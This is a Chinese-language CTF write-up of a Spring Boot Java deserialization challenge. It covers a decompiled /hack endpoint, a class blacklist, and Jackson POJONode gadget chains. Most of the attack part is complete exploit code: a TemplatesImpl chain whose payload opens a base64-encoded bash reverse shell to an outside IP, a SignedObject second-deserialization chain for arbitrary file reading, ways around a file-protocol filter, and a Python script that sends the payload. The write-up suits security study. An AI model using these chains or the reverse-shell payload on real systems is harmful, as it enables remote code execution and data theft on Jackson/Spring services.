反编译
依赖
dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
就Spring Boot,但是spring boot自带jackson的
分析
看一下控制器
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.yancao.ctf.controller;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.util.MyObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController {
public IndexController() {
}
@RequestMapping({"/"})
@ResponseBody
public String index() {
return "Hello World";
}
@GetMapping({"/hack"})
@ResponseBody
public String hack(@RequestParam String payload) {
byte[] bytes = Base64.getDecoder().decode(payload.getBytes(StandardCharsets.UTF_8));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
try {
ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
URLHelper o = (URLHelper)((ObjectInputStream)ois).readObject();
System.out.println(o);
System.out.println(o.url);
return "ok!";
} catch (Exception var6) {
Exception e = var6;
e.printStackTrace();
return e.toString();
}
}
@RequestMapping({"/file"})
@ResponseBody
public String file() throws IOException {
File file = new File("/tmp/file");
if (!file.exists()) {
file.createNewFile();
}
FileInputStream fis = new FileInputStream(file);
byte[] bytes = new byte[1024];
fis.read(bytes);
return new String(bytes);
}
}
根路由就是打印hello world
/hack路由,对输入参数base64解码然后进行反序列化,那这题应该打反序列化了
/file路由,读取**/tmp/file**文件
再看下两个java bean
URLHelper
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.yancao.ctf.bean;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class URLHelper implements Serializable {
public String url;
public URLVisiter visiter = null;
private static final long serialVersionUID = 1L;
public URLHelper(String url) {
this.url = url;
}
private void readObject(ObjectInputStream in) throws Exception {
in.defaultReadObject();
if (this.visiter != null) {
String result = this.visiter.visitUrl(this.url);
File file = new File("/tmp/file");
if (!file.exists()) {
file.createNewFile();
}
FileOutputStream fos = new FileOutputStream(file);
fos.write(result.getBytes());
fos.close();
}
}
}
反序列化会调用URLVisiter#visitUrl,然后将结果写进/tmp/file里面
URLVister
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.yancao.ctf.bean;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.net.URL;
public class URLVisiter implements Serializable {
public URLVisiter() {
}
public String visitUrl(String myurl) {
if (myurl.startsWith("file")) {
return "file protocol is not allowed";
} else {
URL url = null;
try {
url = new URL(myurl);
BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
StringBuilder sb = new StringBuilder();
String inputLine;
while((inputLine = in.readLine()) != null) {
sb.append(inputLine);
}
in.close();
return sb.toString();
} catch (Exception var6) {
Exception e = var6;
return e.toString();
}
}
}
}
首先禁止了file协议,防止了本地文件读取,这里可以用大写绕过FILE://然后就是创建一个URL对象进行访问。
util里面还有一个输入流控制
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.yancao.ctf.util;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
public class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};
String[] var4 = denyClasses;
int var5 = denyClasses.length;
for(int var6 = 0; var6 < var5; ++var6) {
String denyClass = var4[var6];
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}
java.net.InetAddress
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
com.yancao.ctf.bean.URLVisiter
com.yancao.ctf.bean.URLHelper
也就是加了一些反序列化黑名单,可以发现URLHelper不能直接反序列化利用了
看下lib找利用链
可以明显看到jackson,jackson是可以打二次反序列化的,正好符合我们的要求,前两天做的2023阿里云Bypassit也是,当时利用链是
BadAttributeValueExpException#readObject->
BaseJsonNode#toString->
InternalNodeMapper#nodeToString->
ObjectWriter#writeValueAsString->
ObjectWriter#_writeValueAndClose->
DefaultSerializerProvider#serializeValue->
DefaultSerializerProvider#_serialize->
BeanSerializer#serialize->
BeanSerializerBase#serializeFields->
BeanPropertyWriter#serializeAsField->
TemplatesImpl#getOutputProperties->
TemplatesImpl#newTransformer->
TemplatesImpl#getTransletInstance->(类初始化)
TemplatesImpl#defineTransletClasses->
defineClass(类加载)
这里TemplatesImpl没被ban,可以直接打加载恶意字节码, 也可以走SignObject链打二次反序列化,不过两个方法都需要重写一个BaseJsonNode这个类,把writePlace方法去掉
public abstract class BaseJsonNode
extends JsonNode
implements java.io.Serializable
{
private static final long serialVersionUID = 1L;
// Simplest way is by using a helper
// Object writeReplace() {
// return NodeSerialization.from(this);
// }
...
...
...
TemplatesImpl加载恶意字节码
先看第一种用TemplatesImpl加载恶意字节码,与2023阿里云Bypassit无异,但是由于Jackson反序例化链子的不稳定性(因为调getter的时候,先调用了getStyleSheetDOM,然后报空指针错误,导致后面链子无法触发)
需要封装一层代理进行操作
exp.java
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class exp {
public static void main(String[] args) throws Exception {
byte[] code = getTemplates();//用javassist获取
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode pojoNode = new POJONode(proxyObj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", pojoNode);
serialize(badAttributeValueExpException);
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
fileOutputStream.close();
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTIxLjExMC80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
然后base64+url编码发过去,base64+POSTman也行
import requests
import base64
from urllib.parse import quote
with open('E://tao.txt', 'rb') as file:
data = file.read()
encoded_data = base64.b64encode(data).decode('utf-8')
url_encoded_data = quote(encoded_data)
url = f"http://101.43.121.110:12345/hack?payload={url_encoded_data}"
print(url)
response = requests.get(url)
print(response.text)
SignedObject打二次反序列化
再分析一下调用链
SignedObject#getObject会触发属性的readObject即反序列化,参数有this.content传进来
看一下content
在进行有参构造的时候就会给content属性赋值,所以参数可控
所以只要能触发SignedObject的getter方法就能实现二次反序列化,所以还是利用POJONode的toString
调用链
BadAttributeValueExpException#readObject->
BaseJsonNode#toString->
InternalNodeMapper#nodeToString->
ObjectWriter#writeValueAsString->
ObjectWriter#_writeValueAndClose->
DefaultSerializerProvider#serializeValue->
DefaultSerializerProvider#_serialize->
BeanSerializer#serialize->
BeanSerializerBase#serializeFields->
BeanPropertyWriter#serializeAsField->
SignedObject#getObject->
URLHelper#readObject->
任意文件读取
**这个”file://“可以用”FILE://“绕过,也可以用” file://“,还可以用”netdoc://“,还可以”url:file:///flag”**方法很多
exp.java
import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.ProtectionDomain;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
public class exp2 {
public static void main(String[] args) throws Exception {
URLHelper urlHelper = new URLHelper("FILE:///");
URLVisiter urlVisiter = new URLVisiter();
setFieldValue(urlHelper, "visiter", urlVisiter);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException, "val", jsonNodes);
serialize(badAttributeValueExpException);
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
fileOutputStream.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
同样用py请求
然后访问file路由
然后修改exp读flag
URLHelper urlHelper = new URLHelper("FILE:///flag");